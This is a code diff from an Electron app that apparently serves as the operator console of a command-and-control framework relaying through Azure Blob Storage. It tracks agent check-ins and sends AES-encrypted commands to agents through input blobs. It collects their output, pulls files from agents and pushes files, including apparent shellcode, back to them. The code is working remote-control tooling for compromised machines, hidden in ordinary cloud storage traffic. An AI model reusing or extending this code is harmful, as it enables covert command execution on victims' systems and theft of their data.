thisAgent.checkin = Date.now()-60000;
|
||||
continue;
|
||||
if (global.haltUpdate == false) { global.agents.push(thisAgent); }
|
||||
}
|
||||
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentMetaBlob);
|
||||
const timestamp = new Date(checkinBlobLastModified).getTime();
|
||||
thisAgent.checkin = timestamp;
|
||||
agentcheckins.push(thisAgent);
|
||||
}catch(error)
|
||||
{
|
||||
log(`Failed to get checkin from listed agent container ${error.stack}`);
|
||||
log(`Failed to get checkin from listed agent container ${error.stack}`);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return JSON.stringify(agentcheckins);
|
||||
} catch (error) {
|
||||
console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}\n ${JSON.stringify(agentcheckins)}`);
|
||||
console.error(`Error listing blobs in container: \r\n\t${error.message} \r\n\t${error.stack}\n ${JSON.stringify(agentcheckins)}`);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
async function list_blobs(containerName,config)
|
||||
async function list_blobs(containerName)
|
||||
{
|
||||
try{
|
||||
let options = {
|
||||
@@ -218,7 +216,7 @@ async function list_blobs(containerName,config)
|
||||
let blobs = response.data.match(/<Name>([^<]+)<\/Name>/g).map(b => b.replace(/<\/?Name>/g, ''));
|
||||
return blobs;
|
||||
} catch (error) {
|
||||
console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}`);
|
||||
//console.error(`Error listing blobs in container ${containerName}: ${error.message} ${error.stack}`);
|
||||
return [];
|
||||
}
|
||||
}
|
||||
@@ -237,18 +235,14 @@ async function getBlobLastModified(containerName,blob)
|
||||
const lastModified = response.response.headers["last-modified"];
|
||||
return lastModified;
|
||||
}
|
||||
async function returnAgentCheckinInfo(agentContainer,agentInputChannel)
|
||||
async function returnAgentCheckinInfo(agentid)
|
||||
{
|
||||
try{
|
||||
let checkinBlobLastModified = await getBlobLastModified(agentContainer,agentInputChannel);
|
||||
if (!checkinBlobLastModified)
|
||||
{
|
||||
log(`azure.js | updateDashboardTable() | ${response.status} | [!] Missing Last-Modified header for agent ${agent_container_id}`);
|
||||
thisAgent.checkin = Date.now()-60000;
|
||||
}
|
||||
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentid);
|
||||
return new Date(checkinBlobLastModified).getTime();
|
||||
} catch (error) {
|
||||
console.error(`returnAgentCheckinInfo() | Error listing blobs in container ${containerName}:`, error.message, error.stack);
|
||||
console.error(`returnAgentCheckinInfo() | Error :`, error.message, error.stack);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -266,9 +260,6 @@ async function makeRequest(options, data = null) {
|
||||
const requestId = Date.now().toString();
|
||||
// Set up response handler before sending request
|
||||
const responseHandler = (event, response) => {
|
||||
// log(`[WEB-REQUEST ] url : ${url}`);
|
||||
// log(`[WEB-RESPONSE] status: ${response.status}`);
|
||||
// log(`[WEB-RESPONSE] data : ${response.data}`);
|
||||
if (response.error) {
|
||||
log(`[WEB-REQUEST] Error: ${response.error}`);
|
||||
reject(new Error(response.error));
|
||||
@@ -308,7 +299,7 @@ async function makeRequest(options, data = null) {
|
||||
}, timeout);
|
||||
});
|
||||
}
|
||||
async function UploadBlobToContainer(StorageContainer,StorageBlob,data,config)
|
||||
async function UploadBlobToContainer(StorageContainer,StorageBlob,data)
|
||||
{
|
||||
|
||||
if ( data == null)
|
||||
@@ -330,7 +321,7 @@ async function UploadBlobToContainer(StorageContainer,StorageBlob,data,config)
|
||||
};
|
||||
return makeRequest(options,data);
|
||||
}
|
||||
async function readBlob(StorageContainer, StorageBlob, config) {
|
||||
async function readBlob(StorageContainer, StorageBlob) {
|
||||
try {
|
||||
const options = {
|
||||
hostname: global.config.storageAccount,
|
||||
@@ -352,64 +343,73 @@ async function readBlob(StorageContainer, StorageBlob, config) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
async function getContainerBlobs(containerName,config)
|
||||
async function getContainerBlobs(containerName)
|
||||
{
|
||||
let inputBlob = "";
|
||||
let outputBlob = "";
|
||||
let checkinBlob = "";
|
||||
let keyBlob = "";
|
||||
try {
|
||||
|
||||
let agent_blobs = await list_blobs(containerName,config);
|
||||
let agent_blobs = await list_blobs(containerName);
|
||||
if(agent_blobs == null){
|
||||
return false;
|
||||
}
|
||||
for (const blob of agent_blobs)
|
||||
{
|
||||
if (blob.startsWith('i-')) {
|
||||
inputBlob = blob;
|
||||
}
|
||||
if (blob.startsWith('o-')) {
|
||||
outputBlob = blob;
|
||||
}
|
||||
if (blob.startsWith('c-')) {
|
||||
checkinBlob = blob;
|
||||
}
|
||||
if (blob.startsWith('k-')) {
|
||||
keyBlob = blob;
|
||||
}
|
||||
}
|
||||
const blobs = {
|
||||
'key' : keyBlob,
|
||||
'checkin' : checkinBlob,
|
||||
'in' : inputBlob,
|
||||
'out' : outputBlob
|
||||
};
|
||||
return blobs;
|
||||
} catch (error) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
async function getContainerAesKeys(containerName,containerKeyBlob,config)
|
||||
|
||||
async function getContainerAesKeys(agentid)
|
||||
{
|
||||
try {
|
||||
let kBlobContent;
|
||||
kBlobContent = await readBlob(containerName, containerKeyBlob, config);
|
||||
const kBlobJson = JSON.parse(kBlobContent.data);
|
||||
const aes_key = kBlobJson['key']
|
||||
const aes_iv = kBlobJson['iv']
|
||||
key = {
|
||||
'key':aes_key,
|
||||
'iv':aes_iv
|
||||
}
|
||||
return key;
|
||||
} catch (error) {
|
||||
log(`getContainerAesKeys() | Error listing blobs in container ${containerName}:`, error.message);
|
||||
}
|
||||
try {
|
||||
const options = {
|
||||
hostname: global.config.storageAccount,
|
||||
port: 443,
|
||||
path: `/${global.config.metaContainer}/${agentid}?comp=metadata&${global.config.sasToken}`,
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'x-ms-version': '2022-11-02',
|
||||
'x-ms-date': new Date().toUTCString()
|
||||
}
|
||||
};
|
||||
const response = await makeRequest(options);
|
||||
if(response.response.headers["x-ms-meta-signature"] == null || response.response.headers["x-ms-meta-hash"] == null){
|
||||
return null;
|
||||
}
|
||||
let aes_key = decodeBase64(response.response.headers["x-ms-meta-signature"]);
|
||||
let aes_iv = decodeBase64(response.response.headers["x-ms-meta-hash"]);
|
||||
let key = {
|
||||
'key':JSON.parse(aes_key),
|
||||
'iv': JSON.parse(aes_iv)
|
||||
}
|
||||
return key;
|
||||
} catch (error) {
|
||||
console.error(`[AESKEYS][!] Error getting aes keys for agent ${agentid}:`, error.message, error.stack);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
async function checkinContainer(containerName, aes, blobs,config)
|
||||
|
||||
async function checkinContainer(containerName, aes, blobs)
|
||||
{
|
||||
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
|
||||
try {
|
||||
let checkin = await readBlob(containerName, blobs['checkin'], config);
|
||||
log(`checkinContainer() | containerName : ${containerName}`);
|
||||
log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
|
||||
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
|
||||
let checkin = await readBlob(containerName, blobs['checkin']);
|
||||
let enc_checkin = decodeBase64(checkin.data);
|
||||
const dec_checkin = await aesDecrypt(enc_checkin,aes_key_bytes,aes_iv_bytes);
|
||||
if (!dec_checkin) {
|
||||
@@ -421,9 +421,11 @@ async function checkinContainer(containerName, aes, blobs,config)
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error connecting to container ${containerName}:`, error.message);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
async function clearBlob(StorageContainer, StorageBlob,config)
|
||||
|
||||
async function clearBlob(StorageContainer, StorageBlob)
|
||||
{
|
||||
const options = {
|
||||
hostname: global.config.storageAccount,
|
||||
@@ -440,82 +442,81 @@ async function clearBlob(StorageContainer, StorageBlob,config)
|
||||
};
|
||||
return makeRequest(options);
|
||||
}
|
||||
async function uploadCommand(containerCmd,config)
|
||||
|
||||
async function uploadCommand(agent_object)
|
||||
{
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
const inputblob = containerCommand.blobs['in'];
|
||||
const outputblob = containerCommand.blobs['out'];
|
||||
const containerName = containerCommand.name;
|
||||
console.log(`${inputblob} ${outputblob} ${containerName}`);
|
||||
const encryptedData = await aesEncrypt(containerCommand.cmd,aes_key_bytes,aes_iv_bytes);
|
||||
const b64EncData = encodeBase64(encryptedData);
|
||||
let response = await UploadBlobToContainer(containerCommand.name,containerCommand.blobs['in'],b64EncData,config);
|
||||
if(response.status != 201)
|
||||
{
|
||||
log(`azure.js | uploadCommand() | ${response.status} | [!] Failed to upload command to container ${containerName}`);
|
||||
return null;
|
||||
}
|
||||
let decrypted_out_data;
|
||||
const startTime = Date.now();
|
||||
let currentTime;
|
||||
let elapsed;
|
||||
while(true)
|
||||
{
|
||||
let command_output = await readBlob(containerCommand.name,containerCommand.blobs['out'],config);
|
||||
if (command_output === null)
|
||||
{
|
||||
return null;
|
||||
const task = agent_object.tasks[agent_object.tasks.length - 1];
|
||||
const key = Buffer.from(agent_object.aes['key']);
|
||||
const iv = Buffer.from(agent_object.aes['iv']);
|
||||
|
||||
// Read the blob first to check if it's empty
|
||||
let blobCheck = await readBlob(agent_object.container, agent_object.blobs['in']);
|
||||
if (blobCheck.status === 200) {
|
||||
if (!blobCheck.data || blobCheck.data.length === 0) {
|
||||
// Blob exists but is empty, proceed with upload
|
||||
const encryptedData = await aesEncrypt(JSON.stringify(task), key, iv);
|
||||
const b64EncData = encodeBase64(encryptedData);
|
||||
let response = await UploadBlobToContainer(agent_object.container, agent_object.blobs['in'], b64EncData);
|
||||
|
||||
if (response.status != 201) {
|
||||
log(`azure.js | uploadCommand() | ${response.status} | [!] Failed to upload command to container ${agent_object.container}`);
|
||||
return null;
|
||||
}
|
||||
|
||||
let decrypted_out_data;
|
||||
const startTime = Date.now();
|
||||
let currentTime;
|
||||
let elapsed;
|
||||
|
||||
while(true) {
|
||||
let command_output = await readBlob(agent_object.container, task.outputChannel);
|
||||
if (command_output === null) {
|
||||
await new Promise(resolve => setTimeout(resolve, 2000));
|
||||
continue;
|
||||
}
|
||||
if (command_output['data']) {
|
||||
let encrypted_out_data = decodeBase64(command_output['data']);
|
||||
decrypted_out_data = await aesDecrypt(encrypted_out_data, key, iv);
|
||||
await clearBlob(agent_object.container, task.outputChannel);
|
||||
await DeleteStorageBlob(agent_object.container, task.outputChannel);
|
||||
break;
|
||||
}
|
||||
currentTime = Date.now();
|
||||
elapsed = (currentTime - startTime)/1000;
|
||||
let waittime = 1200;
|
||||
if (elapsed > waittime) {
|
||||
decrypted_out_data = `[!] No response for ${task.taskId} after ${waittime} seconds to output channel ${task.outputChannel}\r\n${task.command}`;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return decrypted_out_data;
|
||||
}
|
||||
if (command_output['data'])
|
||||
{
|
||||
let encrypted_out_data = decodeBase64(command_output['data']);
|
||||
decrypted_out_data = await aesDecrypt(encrypted_out_data,aes_key_bytes,aes_iv_bytes);
|
||||
await clearBlob(containerName,outputblob,config);
|
||||
break;
|
||||
}
|
||||
currentTime = Date.now();
|
||||
elapsed = (currentTime - startTime)/1000;
|
||||
let waittime = 90;
|
||||
if (containerCommand.cmd.includes("scan "))
|
||||
{
|
||||
waittime = 300;
|
||||
}
|
||||
if(elapsed > waittime)
|
||||
{
|
||||
decrypted_out_data = "No response for command.";
|
||||
break;
|
||||
}
|
||||
}
|
||||
return decrypted_out_data;
|
||||
return false;
|
||||
}
|
||||
async function pullDownloadFile(containerCmd,filename,blob,config)
|
||||
|
||||
async function pullDownloadFile(agent_object,filename,blob)
|
||||
{
|
||||
try{
|
||||
|
||||
log(`azure.js | pullDownloadFile()`);
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const key = Buffer.from(agent_object.aes['key']);
|
||||
const iv = Buffer.from(agent_object.aes['iv']);
|
||||
let baseFileName = path.basename(filename);
|
||||
log(`pullDownloadFile() | filename : ${filename}`);
|
||||
log(`pullDownloadFile() | blob : ${blob}`);
|
||||
log(`pullDownloadFile() | command info : ${JSON.stringify(containerCommand)}`);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
let raw;
|
||||
if (!fs.existsSync(directories.downloadsDir)) {
|
||||
fs.mkdirSync(directories.downloadsDir, { recursive: true });
|
||||
}
|
||||
const destPath = path.join(directories.downloadsDir, baseFileName);
|
||||
const url = `https://${StorageAccount}/${containerCommand.name}/${blob}?${sasToken}`;
|
||||
const url = `https://${global.config.storageAccount}/${agent_object.container}/${blob}?${global.config.sasToken}`;
|
||||
log(`pullDownloadFile() | URL : ${url}`);
|
||||
let buffer;
|
||||
let index = 1;
|
||||
while(true)
|
||||
{
|
||||
let response = await fetch(url);
|
||||
|
||||
if (!response.ok) {
|
||||
log(`pullDownloadFile loop : ${index} | Failed to download file. Sleeping for 3 seconds and trying again. Status: ${response.status} ${response.statusText}`);
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
@@ -527,7 +528,7 @@ async function pullDownloadFile(containerCmd,filename,blob,config)
|
||||
}
|
||||
index +=1;
|
||||
}
|
||||
raw = await aesDecrypt( buffer, aes_key_bytes, aes_iv_bytes );
|
||||
raw = await aesDecrypt( buffer, key, iv );
|
||||
await fsp.writeFile(destPath, raw, (err) => {
|
||||
log(`Error writing file: ${err.stack}`);
|
||||
});
|
||||
@@ -537,18 +538,19 @@ async function pullDownloadFile(containerCmd,filename,blob,config)
|
||||
log(`pullDownloadFile() Error: ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
async function uploadSCToAzure(containerCmd, StorageBlob, filePath,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
|
||||
async function uploadSCToAzure(agent_object, StorageBlob, filePath)
|
||||
{
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
log(`[AZURE][UPLOAD] uploadSCToAzure() | agent_object : ${JSON.stringify(agent_object)}`);
|
||||
log(`[AZURE][UPLOAD] uploadSCToAzure() | StorageBlob : ${StorageBlob}`);
|
||||
log(`[AZURE][UPLOAD] uploadSCToAzure() | filePath : ${filePath}`);
|
||||
const key = Buffer.from(agent_object.aes['key']);
|
||||
const iv = Buffer.from(agent_object.aes['iv']);
|
||||
|
||||
const fileContent = await fsp.readFile(filePath);
|
||||
const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes );
|
||||
const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`;
|
||||
const enc = await aesEncrypt( fileContent, key, iv );
|
||||
const sasUrl = `https://${global.config.storageAccount}/${agent_object.container}/${StorageBlob}?${global.config.sasToken}`;
|
||||
const response = await fetch(sasUrl, {
|
||||
port: 443,
|
||||
method: 'PUT',
|
||||
@@ -558,25 +560,21 @@ async function uploadSCToAzure(containerCmd, StorageBlob, filePath,config)
|
||||
},
|
||||
body: enc
|
||||
});
|
||||
log(`response ${response.ok}`);
|
||||
log(`[AZURE][UPLOAD] response ${response.ok}`);
|
||||
} catch (error) {
|
||||
output = `Error uploading file to azure : ${error.stack}`;
|
||||
log(`azure.js | uploadSCToAzure()\r\nError ${output}`);
|
||||
log(`[AZURE][UPLOAD] Error uploading file to azure : ${error.stack}`);
|
||||
}
|
||||
}
|
||||
async function uploadFileToAzure(containerCmd, StorageBlob, filePath,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
const fileContent = await fsp.readFile(filePath);
|
||||
const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes );
|
||||
const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`;
|
||||
const response = await fetch(sasUrl, {
|
||||
|
||||
async function uploadFileToAzure(agent_object, StorageBlob, filePath)
|
||||
{
|
||||
try {
|
||||
const key = Buffer.from(agent_object.aes['key']);
|
||||
const iv = Buffer.from(agent_object.aes['iv']);
|
||||
const fileContent = await fsp.readFile(filePath);
|
||||
const enc = await aesEncrypt( fileContent, key, iv );
|
||||
const sasUrl = `https://${global.config.storageAccount}/${agent_object.container}/${StorageBlob}?${global.config.sasToken}`;
|
||||
const response = await fetch(sasUrl, {
|
||||
port: 443,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
@@ -586,8 +584,7 @@ async function uploadFileToAzure(containerCmd, StorageBlob, filePath,config)
|
||||
body: enc
|
||||
});
|
||||
} catch (error) {
|
||||
output = `Error uploading file to azure : ${error.stack}`;
|
||||
log(`azure.js | uploadFileToAzure()\r\nError ${output}`);
|
||||
log(`azure.js | uploadFileToAzure()\r\nError uploading file to azure : ${error.stack}`);
|
||||
}
|
||||
}
|
||||
module.exports = {
|
||||
|
||||
+42
-94
@@ -1,12 +1,9 @@
|
||||
const { ipcRenderer } = require('electron');
|
||||
const path = require('path');
|
||||
//const fs = require('fs'); // Use synchronous fs module for createWriteStream
|
||||
const { log } = require('console');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
let tableinit = false;
|
||||
|
||||
function log(message)
|
||||
function logMain(message)
|
||||
{
|
||||
const timestamp = new Date().toISOString();
|
||||
log(`[${timestamp}] ${message}`);
|
||||
@@ -52,15 +49,13 @@ window.addEventListener('DOMContentLoaded', () => {
|
||||
sortState.column = column;
|
||||
sortState.order = 'asc';
|
||||
}
|
||||
log(`${sortState['column']} column sort set to ${sortState['order']}`);
|
||||
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
|
||||
updateTableSort();
|
||||
});
|
||||
});
|
||||
|
||||
const table = document.getElementById('containerTable');
|
||||
if (!table) return;
|
||||
|
||||
// **Fix: Remove existing event listener before adding**
|
||||
table.removeEventListener('contextmenu', handleContextMenu);
|
||||
table.addEventListener('contextmenu', handleContextMenu);
|
||||
});
|
||||
@@ -94,7 +89,6 @@ function handleContextMenu(event) {
|
||||
|
||||
|
||||
window.addEventListener('DOMContentLoaded', async () => {
|
||||
//const containerTable = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
let sortState = {
|
||||
column: null,
|
||||
order: 'none' // 'asc', 'desc', 'none'
|
||||
@@ -114,7 +108,7 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
sortState.column = column;
|
||||
sortState.order = 'asc';
|
||||
}
|
||||
log(`${sortState['column']} column sort set to ${sortState['order']}`);
|
||||
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
|
||||
updateTableSort();
|
||||
});
|
||||
|
||||
@@ -123,71 +117,47 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
const table = document.getElementById('containerTable');
|
||||
if (!table) return;
|
||||
|
||||
// **Fix: Remove existing event listener before adding**
|
||||
table.removeEventListener('contextmenu', handleContextMenu);
|
||||
log("Adding event listener context menu");
|
||||
table.addEventListener('contextmenu', handleContextMenu);
|
||||
|
||||
async function initTable() {
|
||||
try {
|
||||
//log("sent IPC for get-containers");
|
||||
let agentinit = null;
|
||||
while(agentinit == null)
|
||||
{
|
||||
agentinit = await ipcRenderer.invoke('preload-agents');
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
}
|
||||
// async function initTable() {
|
||||
// try {
|
||||
// let agentinit = null;
|
||||
// while(agentinit == null)
|
||||
// {
|
||||
// agentinit = await ipcRenderer.invoke('preload-agents');
|
||||
// await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
// }
|
||||
|
||||
//console.log(`agentinit : ${agentinit}`);
|
||||
let agents = JSON.parse(agentinit);
|
||||
// let agents = JSON.parse(agentinit);
|
||||
|
||||
agents.forEach(agent => {
|
||||
let thisrow = updateOrAddRow(agent);
|
||||
thisrow.cells[0].textContent = agent.agentid;
|
||||
thisrow.cells[1].textContent = agent.containerid;
|
||||
thisrow.cells[2].textContent = '';
|
||||
thisrow.cells[3].textContent = '';
|
||||
thisrow.cells[4].textContent = '';
|
||||
thisrow.cells[5].textContent = '';
|
||||
thisrow.cells[6].textContent = '';
|
||||
thisrow.cells[7].textContent = '';
|
||||
thisrow.cells[8].textContent = '';
|
||||
});
|
||||
//log('Table updated with init agent data');
|
||||
} catch (error) {
|
||||
log(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
// agents.forEach(agent => {
|
||||
// let thisrow = updateOrAddRow(agent);
|
||||
// thisrow.cells[0].textContent = agent.agentid;
|
||||
// thisrow.cells[1].textContent = agent.containerid;
|
||||
// thisrow.cells[2].textContent = '';
|
||||
// thisrow.cells[3].textContent = '';
|
||||
// thisrow.cells[4].textContent = '';
|
||||
// thisrow.cells[5].textContent = '';
|
||||
// thisrow.cells[6].textContent = '';
|
||||
// thisrow.cells[7].textContent = '';
|
||||
// thisrow.cells[8].textContent = '';
|
||||
// });
|
||||
// } catch (error) {
|
||||
// logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
|
||||
// }
|
||||
// }
|
||||
|
||||
async function updateTable() {
|
||||
try {
|
||||
let agentcheckins;
|
||||
agentcheckins = await ipcRenderer.invoke('get-containers');
|
||||
//log(`updateTable() : agentcheckins : ${agentcheckins}`);
|
||||
|
||||
const table = document.getElementById('containerTable'); // Ensure this matches your table ID
|
||||
//log(`table : ${table.innerText}`);
|
||||
//log(`agentcheckins : ${agentcheckins}`);
|
||||
|
||||
if (agentcheckins == 0) {
|
||||
//log(`updateTable() : agentcheckins == 0; agentcheckins : ${agentcheckins}`);
|
||||
// Clear all rows from the table
|
||||
// while (table.rows.length > 1) { // Keeps the header row if it exists
|
||||
// table.deleteRow(1);
|
||||
// }
|
||||
|
||||
//log("Table cleared since there are no agents present.");
|
||||
} else {
|
||||
//log(`updateTable() : agentcheckins != 0; agentcheckins : ${agentcheckins}`);
|
||||
if (agentcheckins != 0) {
|
||||
const agents = JSON.parse(agentcheckins);
|
||||
|
||||
// Clear the existing rows before updating
|
||||
// while (table.rows.length > 1) {
|
||||
// table.deleteRow(1);
|
||||
// }
|
||||
let agent_index = 0;
|
||||
agents.forEach(agent => {
|
||||
//log(`agent ${agent_index}: ${JSON.stringify(agent)}`);
|
||||
agent_index++;
|
||||
if (agent != 0)
|
||||
{
|
||||
@@ -195,27 +165,18 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
let isnewrow = false;
|
||||
|
||||
if (thisrow.cells[2].textContent == '-' || !thisrow.cells[0].textContent) {
|
||||
//log("this is a new row.");
|
||||
isnewrow = true;
|
||||
}
|
||||
|
||||
// Get the process base name from absolute path
|
||||
const filePath = agent.Process.trim(); // Ensure the string is clean
|
||||
//log(`Original Path: ${filePath}`);
|
||||
const filePath = agent.Process.trim();
|
||||
let fileName;
|
||||
// Detect which type of path is present and use the appropriate method
|
||||
if (filePath.includes("\\") && !filePath.includes("/")) {
|
||||
// Windows-style path (only backslashes)
|
||||
fileName = path.win32.basename(filePath);
|
||||
} else if (filePath.includes("/") && !filePath.includes("\\")) {
|
||||
// macOS/Linux-style path (only forward slashes)
|
||||
fileName = path.posix.basename(filePath);
|
||||
} else {
|
||||
// Mixed slashes case (or unknown)
|
||||
fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename
|
||||
fileName = filePath.split(/[/\\]/).pop();
|
||||
}
|
||||
//log(`Extracted File Name: ${fileName}`);
|
||||
let platformName = agent.platform; // Default to the original value
|
||||
let platformName = agent.platform;
|
||||
|
||||
if (agent.platform === "darwin") {
|
||||
platformName = "macOS";
|
||||
@@ -234,38 +195,25 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
thisrow.cells[7].textContent = agent.arch;
|
||||
thisrow.cells[8].textContent = platformName; // Set formatted platform name
|
||||
thisrow.cells[9].textContent = timeDifference(agent.checkin);
|
||||
|
||||
// if (isnewrow) {
|
||||
// thisrow.addEventListener('click', () => {
|
||||
// ipcRenderer.send('open-container-window', JSON.stringify(agent));
|
||||
// }, { once: true });
|
||||
thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners
|
||||
//thisrow = document.querySelector("#yourRowId"); // Re-select the element
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
//log(`Attempting to find match in table for agent ${agent.agentid}`);
|
||||
|
||||
for (let row of table.rows) {
|
||||
//log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
|
||||
if (row.cells[0].textContent == agent.agentid) {
|
||||
thisrow = row;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
thisrow.addEventListener('click', () => {
|
||||
console.log("Row clicked!"); // Debugging: Check if it logs multiple times
|
||||
ipcRenderer.send('open-container-window', agent.agentid);
|
||||
}, { once: true }); // Ensures it only triggers once per element
|
||||
|
||||
|
||||
// }
|
||||
}
|
||||
});
|
||||
updateTableSort();
|
||||
tableinit = true;
|
||||
}
|
||||
}catch (error) {
|
||||
log(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
|
||||
logMain(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -275,20 +223,20 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
let rowExists = false;
|
||||
let thisRow;
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
//log(`Attempting to find match in table for agent ${agent.agentid}`);
|
||||
//logMain(`Attempting to find match in table for agent ${agent.agentid}`);
|
||||
|
||||
for (let row of table.rows) {
|
||||
//log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
|
||||
//logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
|
||||
if (row.cells[0].textContent == agent.agentid) {
|
||||
thisRow = row;
|
||||
rowExists = true;
|
||||
//log(`Matched row for agent ${agent.agentid}`);
|
||||
//logMain(`Matched row for agent ${agent.agentid}`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!rowExists)
|
||||
{
|
||||
//log(`Failed to match row for agent ${agent.agentid}`);
|
||||
//logMain(`Failed to match row for agent ${agent.agentid}`);
|
||||
thisRow = table.insertRow();
|
||||
thisRow.insertCell(0);
|
||||
thisRow.insertCell(1);
|
||||
@@ -304,7 +252,7 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
return thisRow;
|
||||
}catch(error)
|
||||
{
|
||||
log(`Error in updateOrAddRow() : ${error} ${error.stack}`);
|
||||
logMain(`Error in updateOrAddRow() : ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -341,20 +289,20 @@ window.addEventListener('DOMContentLoaded', async () => {
|
||||
}
|
||||
|
||||
// Initial table update
|
||||
await initTable();
|
||||
// await initTable();
|
||||
await updateTable();
|
||||
|
||||
// Update the table every second
|
||||
setInterval(updateTable, 2000);
|
||||
setInterval(updateTable, 1000);
|
||||
});
|
||||
|
||||
ipcRenderer.on('remove-table-row', (event, agentId) => {
|
||||
log(`Removing row for agent ID: ${agentId}`);
|
||||
logMain(`Removing row for agent ID: ${agentId}`);
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
for (let row of table.rows) {
|
||||
if (row.cells[0].textContent.trim() === agentId.trim()) {
|
||||
row.remove(); // Remove the row from the table
|
||||
log(`Row for agent ${agentId} removed.`);
|
||||
logMain(`Row for agent ${agentId} removed.`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
+120
-93
@@ -12,6 +12,7 @@ let init_cwd = 0;
|
||||
let pwd = '';
|
||||
let mode = '';
|
||||
let currentFile = '';
|
||||
global.agent = null;
|
||||
|
||||
|
||||
function splitStringWithQuotes(str) {
|
||||
@@ -81,57 +82,48 @@ function doDownloadFile(argv)
|
||||
return download;
|
||||
}
|
||||
|
||||
class Task {
|
||||
constructor(command) {
|
||||
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
|
||||
this.command = command;
|
||||
}
|
||||
}
|
||||
|
||||
function sendCommand(command) {
|
||||
let argv = splitStringWithQuotes(command);
|
||||
log(`argv : ${argv}`);
|
||||
log(`explorer.js : sendCommand : ${command}`);
|
||||
log(`containerBlob : ${containerBlob}`);
|
||||
log(`containerKey : ${containerKey}`);
|
||||
log(`containerName : ${containerName}`);
|
||||
|
||||
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
|
||||
containerCmd.key = JSON.parse(containerKey);
|
||||
containerCmd.name = containerName;
|
||||
containerCmd.cmd = command;
|
||||
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
|
||||
|
||||
log(`[EXPLORER][SENDCMD] command : ${command}`);
|
||||
log(`[EXPLORER][SENDCMD] argv : ${argv}`);
|
||||
let download;
|
||||
let download_command;
|
||||
const task = new Task(
|
||||
command
|
||||
);
|
||||
if (!Array.isArray(global.agent.tasks)) {
|
||||
global.agent.tasks = [];
|
||||
}
|
||||
global.agent.tasks.push(task);
|
||||
